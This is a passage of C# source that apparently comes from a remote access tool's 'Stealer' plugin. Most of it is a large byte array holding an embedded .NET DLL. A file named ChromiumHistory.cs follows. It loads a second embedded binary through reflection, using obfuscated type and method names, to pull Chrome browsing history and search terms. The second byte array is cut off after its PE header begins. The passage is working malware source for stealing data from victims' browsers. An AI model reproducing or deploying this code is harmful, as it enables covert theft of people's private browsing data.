0x1D, 0x08, 0x04, 0x00, 0x00, 0x12, 0x71, 0x05, 0x20, 0x01, 0x1D, 0x05, 0x0E, 0x07, 0x20, 0x03, 0x0E, 0x1D, 0x05, 0x08, 0x08, 0x04, 0x20, 0x01, 0x08, 0x0E, 0x04, 0x20, 0x01, 0x01, 0x0B, 0x03, 0x06, 0x11, 0x79, 0x07, 0x00, 0x02, 0x08, 0x11, 0x79, 0x11, 0x79, 0x05, 0x07, 0x03, 0x0B, 0x08, 0x08, 0x0B, 0x07, 0x08, 0x1D, 0x05, 0x08, 0x02, 0x08, 0x08, 0x08, 0x08, 0x08, 0x06, 0x00, 0x02, 0x0A, 0x1D, 0x05, 0x08, 0x07, 0x07, 0x04, 0x1D, 0x0E, 0x08, 0x08, 0x08, 0x05, 0x00, 0x02, 0x02, 0x0E, 0x0E, 0x08, 0x00, 0x02, 0x12, 0x4D, 0x12, 0x4D, 0x12, 0x4D, 0x02, 0x1D, 0x0E, 0x05, 0x07, 0x03, 0x08, 0x08, 0x08, 0x03, 0x20, 0x00, 0x0E, 0x04, 0x07, 0x02, 0x08, 0x08, 0x10, 0x07, 0x0D, 0x07, 0x08, 0x08, 0x08, 0x0B, 0x08, 0x08, 0x0A, 0x1D, 0x0A, 0x08, 0x08, 0x08, 0x07, 0x08, 0x00, 0x02, 0x11, 0x79, 0x11, 0x79, 0x11, 0x79, 0x05, 0x00, 0x01, 0x08, 0x11, 0x79, 0x05, 0x00, 0x01, 0x07, 0x11, 0x79, 0x03, 0x1D, 0x11, 0x24, 0x05, 0x00, 0x01, 0x0B, 0x11, 0x79, 0x04, 0x00, 0x01, 0x0D, 0x0D, 0x04, 0x20, 0x01, 0x01, 0x0A, 0x0A, 0x07, 0x07, 0x08, 0x08, 0x1D, 0x0E, 0x08, 0x08, 0x08, 0x08, 0x04, 0x20, 0x01, 0x0E, 0x08, 0x06, 0x20, 0x01, 0x1D, 0x0E, 0x1D, 0x03, 0x05, 0x20, 0x01, 0x0E, 0x1D, 0x03, 0x05, 0x20, 0x02, 0x0E, 0x08, 0x08, 0x15, 0x07, 0x11, 0x08, 0x08, 0x08, 0x08, 0x1D, 0x11, 0x20, 0x0B, 0x08, 0x08, 0x0A, 0x0A, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x07, 0x03, 0x1D, 0x11, 0x28, 0x05, 0x00, 0x01, 0x0A, 0x11, 0x79, 0x03, 0x1D, 0x11, 0x20, 0x04, 0x00, 0x01, 0x0E, 0x0B, 0x14, 0x07, 0x03, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x2C, 0x15, 0x11, 0x31, 0x02, 0x0E, 0x0E, 0x15, 0x11, 0x35, 0x02, 0x0E, 0x0E, 0x06, 0x15, 0x12, 0x2D, 0x02, 0x0E, 0x0E, 0x0A, 0x20, 0x00, 0x15, 0x11, 0x31, 0x02, 0x13, 0x00, 0x13, 0x01, 0x06, 0x15, 0x11, 0x31, 0x02, 0x0E, 0x0E, 0x0A, 0x20, 0x00, 0x15, 0x11, 0x35, 0x02, 0x13, 0x00, 0x13, 0x01, 0x06, 0x15, 0x11, 0x35, 0x02, 0x0E, 0x0E, 0x04, 0x20, 0x00, 0x13, 0x01, 0x0A, 0x20, 0x01, 0x01, 0x15, 0x12, 0x80, 0x99, 0x01, 0x13, 0x00, 0x17, 0x07, 0x0D, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x2C, 0x1D, 0x0E, 0x08, 0x0E, 0x12, 0x0C, 0x08, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x11, 0x39, 0x05, 0x15, 0x12, 0x1D, 0x01, 0x0E, 0x05, 0x20, 0x00, 0x1D, 0x13, 0x00, 0x04, 0x00, 0x01, 0x01, 0x0E, 0x04, 0x00, 0x01, 0x0D, 0x0E, 0x04, 0x20, 0x00, 0x11, 0x39, 0x14, 0x07, 0x03, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x30, 0x15, 0x11, 0x31, 0x02, 0x0E, 0x0E, 0x15, 0x11, 0x35, 0x02, 0x0E, 0x0E, 0x06, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x30, 0x1E, 0x07, 0x14, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x30, 0x1D, 0x0E, 0x08, 0x0E, 0x12, 0x0C, 0x08, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x11, 0x39, 0x14, 0x07, 0x03, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x34, 0x15, 0x11, 0x31, 0x02, 0x0E, 0x0E, 0x15, 0x11, 0x35, 0x02, 0x0E, 0x0E, 0x06, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x34, 0x11, 0x07, 0x08, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x34, 0x1D, 0x0E, 0x08, 0x0E, 0x12, 0x0C, 0x08, 0x0E, 0x0E, 0x14, 0x07, 0x03, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x38, 0x15, 0x11, 0x31, 0x02, 0x0E, 0x0E, 0x15, 0x11, 0x35, 0x02, 0x0E, 0x0E, 0x06, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x38, 0x11, 0x07, 0x08, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x38, 0x1D, 0x0E, 0x08, 0x0E, 0x12, 0x0C, 0x08, 0x0E, 0x0E, 0x14, 0x07, 0x03, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x3C, 0x15, 0x11, 0x31, 0x02, 0x0E, 0x0E, 0x15, 0x11, 0x35, 0x02, 0x0E, 0x0E, 0x06, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x3C, 0x19, 0x07, 0x0F, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x3C, 0x1D, 0x0E, 0x08, 0x0E, 0x12, 0x0C, 0x08, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x11, 0x39, 0x05, 0x00, 0x02, 0x0E, 0x0E, 0x0E, 0x05, 0x20, 0x01, 0x0E, 0x1D, 0x05, 0x05, 0x07, 0x02, 0x0D, 0x11, 0x39, 0x06, 0x20, 0x03, 0x01, 0x08, 0x08, 0x08, 0x06, 0x00, 0x01, 0x11, 0x80, 0xA5, 0x0D, 0x07, 0x20, 0x01, 0x11, 0x39, 0x11, 0x80, 0xA5, 0x06, 0x07, 0x02, 0x11, 0x39, 0x11, 0x39, 0x0D, 0x20, 0x08, 0x01, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x11, 0x80, 0xA9, 0x05, 0x20, 0x01, 0x11, 0x39, 0x0D, 0x07, 0x07, 0x05, 0x0D, 0x0D, 0x0E, 0x08, 0x0D, 0x05, 0x00, 0x01, 0x0E, 0x1D, 0x0E, 0x0B, 0x07, 0x04, 0x15, 0x12, 0x1D, 0x01, 0x0E, 0x1D, 0x0E, 0x08, 0x0E, 0x06, 0x00, 0x03, 0x0E, 0x0E, 0x0E, 0x0E, 0x05, 0x00, 0x01, 0x1D, 0x0E, 0x0E, 0x04, 0x20, 0x01, 0x02, 0x0E, 0x06, 0x00, 0x01, 0x0E, 0x11, 0x80, 0xB5, 0x07, 0x20, 0x02, 0x01, 0x13, 0x00, 0x13, 0x01, 0x08, 0xB7, 0x7A, 0x5C, 0x56, 0x19, 0x34, 0xE0, 0x89, 0x08, 0xB0, 0x3F, 0x5F, 0x7F, 0x11, 0xD5, 0x0A, 0x3A, 0x03, 0x06, 0x1D, 0x05, 0x02, 0x06, 0x0B, 0x03, 0x06, 0x1D, 0x0E, 0x04, 0x06, 0x1D, 0x11, 0x24, 0x02, 0x06, 0x07, 0x04, 0x06, 0x1D, 0x11, 0x28, 0x02, 0x06, 0x0E, 0x07, 0x06, 0x15, 0x12, 0x2D, 0x02, 0x0E, 0x0E, 0x03, 0x06, 0x11, 0x40, 0x02, 0x06, 0x0A, 0x08, 0x00, 0x00, 0x15, 0x12, 0x1D, 0x01, 0x1D, 0x1C, 0x05, 0x20, 0x02, 0x0B, 0x08, 0x08, 0x05, 0x20, 0x02, 0x0A, 0x08, 0x08, 0x03, 0x20, 0x00, 0x08, 0x04, 0x20, 0x00, 0x1D, 0x0E, 0x05, 0x20, 0x02, 0x0E, 0x08, 0x0E, 0x04, 0x20, 0x01, 0x08, 0x08, 0x04, 0x20, 0x01, 0x02, 0x0A, 0x04, 0x20, 0x01, 0x02, 0x0B, 0x08, 0x00, 0x00, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x2C, 0x0A, 0x00, 0x02, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x2C, 0x0E, 0x0E, 0x08, 0x00, 0x00, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x30, 0x0A, 0x00, 0x02, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x30, 0x0E, 0x0E, 0x08, 0x00, 0x00, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x34, 0x0A, 0x00, 0x02, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x34, 0x0E, 0x0E, 0x08, 0x00, 0x00, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x38, 0x0A, 0x00, 0x02, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x38, 0x0E, 0x0E, 0x08, 0x00, 0x00, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x3C, 0x0A, 0x00, 0x02, 0x15, 0x12, 0x1D, 0x01, 0x12, 0x3C, 0x0E, 0x0E, 0x05, 0x00, 0x01, 0x11, 0x39, 0x0E, 0x05, 0x00, 0x01, 0x11, 0x39, 0x0D, 0x04, 0x00, 0x01, 0x0E, 0x0D, 0x09, 0x00, 0x02, 0x15, 0x12, 0x1D, 0x01, 0x0E, 0x0E, 0x0E, 0x03, 0x00, 0x00, 0x01, 0x03, 0x28, 0x00, 0x0E, 0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x01, 0x00, 0x01, 0x00, 0x54, 0x02, 0x16, 0x57, 0x72, 0x61, 0x70, 0x4E, 0x6F, 0x6E, 0x45, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x54, 0x68, 0x72, 0x6F, 0x77, 0x73, 0x01, 0x08, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x01, 0x00, 0x1A, 0x2E, 0x4E, 0x45, 0x54, 0x46, 0x72, 0x61, 0x6D, 0x65, 0x77, 0x6F, 0x72, 0x6B, 0x2C, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x3D, 0x76, 0x34, 0x2E, 0x30, 0x01, 0x00, 0x54, 0x0E, 0x14, 0x46, 0x72, 0x61, 0x6D, 0x65, 0x77, 0x6F, 0x72, 0x6B, 0x44, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x4E, 0x61, 0x6D, 0x65, 0x10, 0x2E, 0x4E, 0x45, 0x54, 0x20, 0x46, 0x72, 0x61, 0x6D, 0x65, 0x77, 0x6F, 0x72, 0x6B, 0x20, 0x34, 0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0x7F, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5F, 0x43, 0x6F, 0x72, 0x44, 0x6C, 0x6C, 0x4D, 0x61, 0x69, 0x6E, 0x00, 0x6D, 0x73, 0x63, 0x6F, 0x72, 0x65, 0x65, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x25, 0x00, 0x20, 0x00, 0x10, 0x00, 0x01, 0x02, 0x03, 0x04, 0x06, 0x08, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x58, 0x80, 0x00, 0x00, 0x4C, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0x02, 0x34, 0x00, 0x00, 0x00, 0x56, 0x00, 0x53, 0x00, 0x5F, 0x00, 0x56, 0x00, 0x45, 0x00, 0x52, 0x00, 0x53, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x4E, 0x00, 0x5F, 0x00, 0x49, 0x00, 0x4E, 0x00, 0x46, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBD, 0x04, 0xEF, 0xFE, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x56, 0x00, 0x61, 0x00, 0x72, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x04, 0x00, 0x00, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x04, 0xAC, 0x01, 0x00, 0x00, 0x01, 0x00, 0x53, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x88, 0x01, 0x00, 0x00, 0x01, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x34, 0x00, 0x62, 0x00, 0x30, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x02, 0x00, 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x44, 0x00, 0x65, 0x00, 0x73, 0x00, 0x63, 0x00, 0x72, 0x00, 0x69, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x30, 0x00, 0x08, 0x00, 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x0D, 0x00, 0x01, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x57, 0x00, 0x65, 0x00, 0x62, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x02, 0x00, 0x01, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x42, 0x00, 0x0D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x57, 0x00, 0x65, 0x00, 0x62, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x08, 0x00, 0x01, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00, 0x38, 0x00, 0x08, 0x00, 0x01, 0x00, 0x41, 0x00, 0x73, 0x00, 0x73, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x79, 0x00, 0x20, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x98, 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; } } ================================================ FILE: Remote Access Tool/Plugins/Stealer/ChromiumHistory.cs ================================================ using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal static class ChromiumHistory { //select keyword_search_terms.term, urls.url, urls.last_visit_time from keyword_search_terms join urls on keyword_search_terms.url_id = urls.id internal static List Recovery() { try { System.Reflection.Assembly assemblytoload = System.Reflection.Assembly.Load(Chrome); System.Reflection.MethodInfo method = assemblytoload.GetType("Y7M9K2N6Q9.T8E9A5M1I7M0G6F8").GetMethod("AP7Z9V5B3W2"); object obj = assemblytoload.CreateInstance(method.Name); List chrome = (List)method.Invoke(obj, null); return chrome; } catch { return null; } } internal static readonly byte[] Chrome = { 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 